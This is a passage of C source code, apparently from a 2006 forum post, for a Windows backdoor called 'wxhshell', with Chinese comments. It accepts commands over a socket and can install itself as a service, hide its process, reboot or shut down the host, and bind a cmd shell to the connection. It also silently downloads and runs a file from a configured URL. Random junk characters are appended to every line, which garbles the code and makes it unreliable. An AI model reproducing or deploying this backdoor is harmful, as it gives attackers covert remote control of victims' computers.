  } Ljm[?*H#  
  else { V@.Ior}w  
ih-#5M@  
    switch(cmd[0]) { o)M}!MT  
  >jDDQ@  
  // 帮助 ozyX$tp  
  case '?': { <`8n^m*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gmUz9P(  
    break; P1. [  
  } rK 8lBy:<  
  // 安装 nmee 'oEw  
  case 'i': { |"q5sym8Y_  
    if(Install()) {LI=:xJJv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rm'SOJVA  
    else np|Sy;:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f=+mIZ  
    break; JMCKcZ%N  
    } &~cBNw|  
  // 卸载 WMDl=6  
  case 'r': { gi3F` m  
    if(Uninstall()) /cUO$m o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @W.S6;GA\  
    else <q58uuK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^`i#$  
    break; ^x]r`b  
    } :I]Mps<  
  // 显示 wxhshell 所在路径 B9_ X;c  
  case 'p': { X;+sUj8  
    char svExeFile[MAX_PATH]; ~Py`P'+  
    strcpy(svExeFile,"\n\r"); ;DQ ZT  
      strcat(svExeFile,ExeFile); A7 {\</Z  
        send(wsh,svExeFile,strlen(svExeFile),0); P_^ +A  
    break; ~f2z]JLr:  
    } w?PkO p  
  // 重启 Qab>|eSm  
  case 'b': { Ve$o}h-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RXMISt3+{y  
    if(Boot(REBOOT)) /aCc17>2V{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ 'MT0j  
    else { OU\~::  
    closesocket(wsh); zEX  
    ExitThread(0); LtO!umM  
    } +yG~T  
    break; >a<.mU|#  
    } Pjf"CW+A  
  // 关机 wq`s-qZu  
  case 'd': { UkwP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *}qWj_RT  
    if(Boot(SHUTDOWN)) sPpH*,(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -a}Dp~j  
    else { 5+0gR &|j  
    closesocket(wsh); )th<,Lo3#  
    ExitThread(0); y%$AhRk*U  
    } l+K'beP  
    break; h%na>G  
    } tPWLg),  
  // 获取shell c% -Tem'#  
  case 's': { T3.&R#1M8-  
    CmdShell(wsh); caR<Kb:;*  
    closesocket(wsh); ,$L4dF3  
    ExitThread(0); IxN9&xa  
    break; |)th1 UH  
  } *\a4wZ6<3  
  // 退出 ah$b [\#C  
  case 'x': { un"Gozmt5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); & bm 1Fz  
    CloseIt(wsh); bTNgjc  
    break; (62"8iD6  
    } w>&aEv/f  
  // 离开 !<8W {LT  
  case 'q': { ' ,wFTV&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \[i1JG  
    closesocket(wsh);  `,*3[  
    WSACleanup(); [ZwjOi:)  
    exit(1); 8}x:`vDK  
    break; tmYz R%i  
        } y3Qsv  
  } ha<[b ue  
  } #powub  
@Ns Qd_e  
  // 提示信息 w$iX.2|9%u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Sn(lnlB  
} &{n.]]%O.  
  } Lz Kj=5'Y  
?#G$=4;i  
  return; uk:(pZ-uJ  
} 2DDtu[}  
'W^YM@  
// shell模块句柄 cxC6n%!;y  
int CmdShell(SOCKET sock) ,.8KN<A2]'  
{ vzAaxk%  
STARTUPINFO si; epe)a  
ZeroMemory(&si,sizeof(si)); ;%9|k U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9!\B6=r y4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DH!~ BB;  
PROCESS_INFORMATION ProcessInfo; OX7M8cmc+  
char cmdline[]="cmd"; Yx%Hs5}8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a$OE0zn`  
  return 0; X=&ET)8-Y  
} [=q1T3  
9d659i C  
// 自身启动模式 ^98~U\ar  
int StartFromService(void) !sP {gi#=  
{ wH&!W~M  
typedef struct :6 R\OeH+  
{ `wEb<H  
  DWORD ExitStatus; 20h, ^  
  DWORD PebBaseAddress; .f2bNnB~pP  
  DWORD AffinityMask; g}{aZ$sta  
  DWORD BasePriority; RWZSQ~  
  ULONG UniqueProcessId; ;7V%#-  
  ULONG InheritedFromUniqueProcessId; L|7R9+ZG  
}   PROCESS_BASIC_INFORMATION; c ( C%Hld  
C`9+6T  
PROCNTQSIP NtQueryInformationProcess; I-*S&SiXjI  
#&aqKV Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3z?> j]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s~g *@K>+  
n5NsmVW\x  
  HANDLE             hProcess; -<!NXm|kvz  
  PROCESS_BASIC_INFORMATION pbi; }B+C~@j  
"Ac-tzhE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DV-d(@`K  
  if(NULL == hInst ) return 0; %s|Ely)  
?Ep [M:,q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qd$nH8EDY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HyZqUb Ha  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); osAd1<EIC  
f}f9@>.  
  if (!NtQueryInformationProcess) return 0; >*_$]E  
S`0(*A[W*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jhhb7uU+  
  if(!hProcess) return 0; 7,o7Cf2z  
`?_Q5lp/s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9}<ile7^  
+gtbcF@rx  
  CloseHandle(hProcess); 'Aq{UGN  
,/F~ Y&1I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '9J/T57]e  
if(hProcess==NULL) return 0; ]Ie 0S~  
J @1!Oq>  
HMODULE hMod; )~JHgl  
char procName[255]; }rw8PZ9  
unsigned long cbNeeded; 6j]0R*B7`Q  
]MitOkX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g7`LEF <A  
 w``ST  
  CloseHandle(hProcess); <)c)%'v  
9IfmW^0  
if(strstr(procName,"services")) return 1; // 以服务启动 ;))+>%SGCt  
q ^N7 I@Y  
  return 0; // 注册表启动 l4YJ c  
} {@{']Y  
Vaw+.sG`AP  
// 主模块 XJ| <?   
int StartWxhshell(LPSTR lpCmdLine) 7WS p($  
{ %RRNJf}z  
  SOCKET wsl; G@X% +$I  
BOOL val=TRUE; 051 E6-  
  int port=0; |{NYkw  
  struct sockaddr_in door; Zt{[ *~  
L48_96  
  if(wscfg.ws_autoins) Install(); Hd ={CFip  
e\zm7_+i{  
port=atoi(lpCmdLine); $ >eCqC3  
 {Gk1vcq  
if(port<=0) port=wscfg.ws_port; ZG8DIV\D7  
7# Kn8s  
  WSADATA data; 08\, <9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eJX9_6m-  
_|I#{jK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zL0pw'4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {ROVvs`  
  door.sin_family = AF_INET; Vv=. -&'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |3"KK  
  door.sin_port = htons(port);  SRDp*  
p%=u#QNi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )}Kf=  
closesocket(wsl); Js?]$V"  
return 1; yq\K)g*=  
} Y)2,PES=  
p]+Pkxz]'  
  if(listen(wsl,2) == INVALID_SOCKET) { >@_^fw)  
closesocket(wsl); J<h $ wM  
return 1; `l[c_%Bm  
} D'Df JwA  
  Wxhshell(wsl); !M1"b;  
  WSACleanup(); 3,qr-g|;jM  
;$wVu|&  
return 0; !?h;wR  
>SHhAEF  
} ul>3B4  
z$. 88 ^  
// 以NT服务方式启动 K Z91-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n 0L^e  
{ c-6?2\]j@  
DWORD   status = 0; =X:Y,?  
  DWORD   specificError = 0xfffffff; E*K;H8}s  
)F]]m#`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zHRplm+ i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +\ .Lp 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jm/`iXnMf  
  serviceStatus.dwWin32ExitCode     = 0; `1fY)d^ZS  
  serviceStatus.dwServiceSpecificExitCode = 0; _)m]_eS._  
  serviceStatus.dwCheckPoint       = 0; 0 /U{p,r6`  
  serviceStatus.dwWaitHint       = 0; Kis"L(C  
yWo; a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I1M%J@Cz  
  if (hServiceStatusHandle==0) return; VjZ|$k  
`b7t4d*  
status = GetLastError(); Iit; F  
  if (status!=NO_ERROR) S_UIO.K  
{ . 3T3E X|G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ( ^Nz9{  
    serviceStatus.dwCheckPoint       = 0; 5<Nx^D  
    serviceStatus.dwWaitHint       = 0; = m#?neop  
    serviceStatus.dwWin32ExitCode     = status; `+:`_4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]Q)OL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #.)0xfGW)n  
    return; uz jU2  
  } @`- 4G2IU}  
JP [K;/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y}ev ,j  
  serviceStatus.dwCheckPoint       = 0; c4eBt))}V  
  serviceStatus.dwWaitHint       = 0; T+H!_ky`A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .4!=p*Y  
} HY:o+ciH'  
Bn&ze.F  
// 处理NT服务事件,比如:启动、停止 n9ej7oj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z,Dl` w  
{ ^8N}9a  
switch(fdwControl) hT+_(>hT  
{ VTY 5]|;  
case SERVICE_CONTROL_STOP: .Vvx,>>D  
  serviceStatus.dwWin32ExitCode = 0; R(G7m@@{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o`z]|G1''  
  serviceStatus.dwCheckPoint   = 0; ?J~_R1Z  
  serviceStatus.dwWaitHint     = 0; ^o&. fQ*  
  { Z o(rTCZX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1Hg w[l`  
  } JOeeU8C  
  return; H8}oIA"b  
case SERVICE_CONTROL_PAUSE: @Qt{jI !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $}<e|3_  
  break; N2<!}Eyu  
case SERVICE_CONTROL_CONTINUE: _g"<UV*H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i2SR{e8:GF  
  break; 5MJS ~(  
case SERVICE_CONTROL_INTERROGATE: O5T{eBo\  
  break; p}U ~+:v  
}; Yufc{M00  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $suzW;{#  
} v O_*yh1  
:nOFR$ W  
// 标准应用程序主函数 ":QZy8f9%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TJXT-\Vk  
{ w@w(-F!%l  
8P&:_T!  
// 获取操作系统版本 bdE[;+58  
OsIsNt=GetOsVer(); ZyFjFHe+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z1X`o  
^v7gIC  
  // 从命令行安装 5">Z'+8  
  if(strpbrk(lpCmdLine,"iI")) Install(); D_zZXbNc  
suDQ~\ n  
  // 下载执行文件 R.yvjPwJ  
if(wscfg.ws_downexe) { V+9 MoT?8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CB}2j  
  WinExec(wscfg.ws_filenam,SW_HIDE); SSMHoJGm  
} J)p l|I  
@_}P-h  
if(!OsIsNt) { r$s Qf&=  
// 如果时win9x,隐藏进程并且设置为注册表启动 LyFN.2qw  
HideProc(); V1B5w_^>h'  
StartWxhshell(lpCmdLine); NU2;X (z[  
} )MTOU47U  
else #Ki[$bS~6  
  if(StartFromService()) 28d'7El$  
  // 以服务方式启动 rf{rpe$  
  StartServiceCtrlDispatcher(DispatchTable); ?hy&  
else m^;f(IK5  
  // 普通方式启动 nUOz\ y  
  StartWxhshell(lpCmdLine); xdkZdx>N  
T{[=oH+  
return 0; WCixKYq  
}
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只看该作者 1 发表于: 2006-10-10
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